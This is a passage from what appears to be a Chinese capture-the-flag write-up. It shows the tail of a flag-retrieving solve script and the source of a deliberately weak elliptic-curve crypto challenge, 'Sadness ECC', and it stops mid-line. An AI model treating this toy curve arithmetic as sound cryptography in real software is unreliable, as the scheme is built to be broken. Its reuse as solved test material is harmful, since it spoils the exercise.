z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvall</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Flag: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">flag</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">if</span><span class="z-support z-variable z-magic z-python"> __name__</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &quot;__main__&quot;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-meta z-function-call z-python"> main</span><span class="z-punctuation">()</span></span></code></pre><h2 id="sadness-ecc">Sadness ECC</h2> <p>题目</p> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># chall.py</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> Crypto</span><span class="z-punctuation">.</span><span class="z-source">Util</span><span class="z-punctuation">.</span><span class="z-source">number</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> secret</span><span class="z-keyword"> import</span><span class="z-source"> n</span><span class="z-punctuation">,</span><span class="z-source"> xG</span><span class="z-punctuation">,</span><span class="z-source"> yG</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> ast</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type">class</span><span class="z-entity z-name z-type"> DummyPoint</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> O</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> object</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __init__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> x</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">None</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> y</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">None</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-punctuation"> (</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-source"> y</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation"> (</span><span class="z-constant z-language z-python">None</span><span class="z-punctuation">,</span><span class="z-constant z-language z-python"> None</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">_infinity</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> True</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> assert</span><span class="z-source"> DummyPoint</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">isOnCurve</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y</span><span class="z-punctuation">), (</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-source"> y</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x</span><span class="z-punctuation">,</span><span class="z-source"> y</span></span> <span class="giallo-l"><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">_infinity</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> False</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-decorator z-python"> @</span><span class="z-support z-type z-python">classmethod</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> infinity</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">cls</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> cls</span><span class="z-punctuation">()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> is_infinity</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-support z-function z-builtin z-python"> getattr</span><span class="z-punctuation">(</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;_infinity&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-language z-python"> False</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-decorator z-python"> @</span><span class="z-support z-type z-python">staticmethod</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-entity z-name z-function"> isOnCurve</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">x</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> y</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-punctuation z-definition z-string z-string"> &quot;&lt;REDACTED&gt;&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __add__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> other</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">is_infinity</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-variable z-language z-special z-self z-python"> self</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">is_infinity</span><span class="z-punctuation">():</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> other</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # ——— Distinct‑points case ———</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> !=</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> !=</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> dy</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">y</span></span> <span class="giallo-l"><span class="z-source"> dx</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> inv_dx</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">dx</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> prod1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> dy</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_dx</span></span> <span class="giallo-l"><span class="z-source"> s</span><span class="z-keyword z-operator"> =</span><span class="z-source"> prod1</span><span class="z-keyword z-operator"> %</span><span class="z-source"> n</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> inv_s</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">s</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> s3</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">inv_s</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 3</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> d</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp1</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> d_minus</span><span class="z-keyword z-operator"> =</span><span class="z-source"> d</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source"> neg_three</span><span class="z-keyword z-operator"> = -</span><span class="z-constant z-numeric">3</span></span> <span class="giallo-l"><span class="z-source"> tmp2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> neg_three</span><span class="z-keyword z-operator"> *</span><span class="z-source"> d_minus</span></span> <span class="giallo-l"><span class="z-source"> tmp3</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp2</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_s</span></span> <span class="giallo-l"><span class="z-source"> sum_x</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> +</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> x_temp</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp3</span><span class="z-keyword z-operator"> +</span><span class="z-source"> s3</span></span> <span class="giallo-l"><span class="z-source"> x_pre</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_temp</span><span class="z-keyword z-operator"> -</span><span class="z-source"> sum_x</span></span> <span class="giallo-l"><span class="z-source"> x</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_pre</span><span class="z-keyword z-operator"> %</span><span class="z-source"> n</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp4</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x</span></span> <span class="giallo-l"><span class="z-source"> tmp5</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-source"> tmp4</span></span> <span class="giallo-l"><span class="z-source"> y_pre</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp5</span></span> <span class="giallo-l"><span class="z-source"> y</span><span class="z-keyword z-operator"> =</span><span class="z-source"> y_pre</span><span class="z-keyword z-operator"> %</span><span class="z-source"> n</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> dy_term</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source"> dy2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> dy_term</span><span class="z-keyword z-operator"> *</span><span class="z-source"> dy_term</span></span> <span class="giallo-l"><span class="z-source"> three_dy2</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 3</span><span class="z-keyword z-operator"> *</span><span class="z-source"> dy2</span></span> <span class="giallo-l"><span class="z-source"> inv_3dy2</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">three_dy2</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> two_x</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 2</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> prod2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> two_x</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_3dy2</span></span> <span class="giallo-l"><span class="z-source"> s</span><span class="z-keyword z-operator"> =</span><span class="z-source"> prod2</span><span class="z-keyword z-operator"> %</span><span class="z-source"> n</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> inv_s</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">s</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> s3</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> pow</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">inv_s</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 3</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp6</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span></span> <span class="giallo-l"><span class="z-source"> d2</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp6</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> d2_minus</span><span class="z-keyword z-operator"> =</span><span class="z-source"> d2</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source"> tmp7</span><span class="z-keyword z-operator"> = -</span><span class="z-constant z-numeric">3</span><span class="z-keyword z-operator"> *</span><span class="z-source"> d2_minus</span></span> <span class="giallo-l"><span class="z-source"> tmp8</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp7</span><span class="z-keyword z-operator"> *</span><span class="z-source"> inv_s</span></span> <span class="giallo-l"><span class="z-source"> x_temp2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> tmp8</span><span class="z-keyword z-operator"> +</span><span class="z-source"> s3</span></span> <span class="giallo-l"><span class="z-source"> x_pre2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_temp2</span><span class="z-keyword z-operator"> -</span><span class="z-source"> two_x</span></span> <span class="giallo-l"><span class="z-source"> x2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x_pre2</span><span class="z-keyword z-operator"> %</span><span class="z-source"> n</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> tmp9</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span></span> <span class="giallo-l"><span class="z-source"> tmp10</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s</span><span class="z-keyword z-operator"> *</span><span class="z-source"> tmp9</span></span> <span class="giallo-l"><span class="z-source"> y_pre2</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-source"> tmp10</span></span> <span class="giallo-l"><span class="z-source"> y2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> y_pre2</span><span class="z-keyword z-operator"> %</span><span class="z-source"> n</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x2</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __rmul__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> k</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python z-keyword z-operator z-logical z-python"> if not</span><span class="z-support z-function z-builtin z-python"> isinstance</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">k</span><span class="z-punctuation">,</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">)</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-source"> k</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Choose another k&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> R</span><span class="z-keyword z-operator"> =</span><span class="z-source"> DummyPoint</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">infinity</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> addend</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> k</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> k</span><span class="z-keyword z-operator"> &amp;</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> R</span><span class="z-keyword z-operator"> =</span><span class="z-source"> R</span><span class="z-keyword z-operator"> +</span><span class="z-source"> addend</span></span> <span class="giallo-l"><span class="z-source"> addend</span><span class="z-keyword z-operator"> =</span><span class="z-source"> addend</span><span class="z-keyword z-operator"> +</span><span class="z-source"> addend</span></span> <span class="giallo-l"><span class="z-source"> k</span><span class="z-keyword z-operator"> &gt;&gt;=</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> R</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __repr__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-storage z-type z-string z-python"> f</span><span class="z-string">&quot;DummyPoint(</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">, </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">)&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __eq__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> other</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">y</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">if</span><span class="z-support z-variable z-magic z-python"> __name__</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &quot;__main__&quot;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> G</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">xG</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> yG</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">n = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> stop</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> False</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-constant z-language z-python"> True</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;1. Get random point (only one time)</span><span class="z-constant z-character z-escape">\n</span><span class="z-string">2. Solve the challenge</span><span class="z-constant z-character z-escape">\n</span><span class="z-string z-punctuation z-definition z-string">3. Exit&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> opt</span><span class="z-keyword z-operator"> =</span><span class="z-support z-type z-python"> int</span><span class="z-punctuation">(</span><span class="z-support z-function z-builtin z-python">input</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;&gt; &quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> except</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;❓ Try again.&quot;</span><span class="z-punctuation">)</span><span class="z-source">; </span><span class="z-keyword z-control z-flow z-python">continue</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> opt</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> stop</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Only one time!&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> stop</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-language z-python"> True</span></span> <span class="giallo-l"><span class="z-source"> k</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> getRandomRange</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> P</span><span class="z-keyword z-operator"> =</span><span class="z-source"> k</span><span class="z-keyword z-operator"> *</span><span class="z-source"> G</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Here is your point:&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">P</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> opt</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> ks</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-meta z-function-call z-python">getRandomRange</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> n</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> _</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">)]</span></span> <span class="giallo-l"><span class="z-source"> Ps</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-source">k</span><span class="z-keyword z-operator"> *</span><span class="z-source"> G</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> k</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> ks</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source"> Ps</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-indexed-name z-python">Ps</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> +</span><span class="z-meta z-indexed-name z-python"> Ps</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">])</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Sums (x+y):&quot;</span><span class="z-punctuation">, [</span><span class="z-meta z-function-call z-arguments z-python">P</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">x</span><span class="z-keyword z-operator"> +</span><span class="z-meta z-function-call z-arguments z-python"> P</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">y</span><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-meta z-function-call z-arguments z-python"> P</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-meta z-function-call z-arguments z-python"> Ps</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> try</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> ans</span><span class="z-keyword z-operator"> =</span><span class="z-source"> ast</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">literal_eval</span><span class="z-punctuation">(</span><span 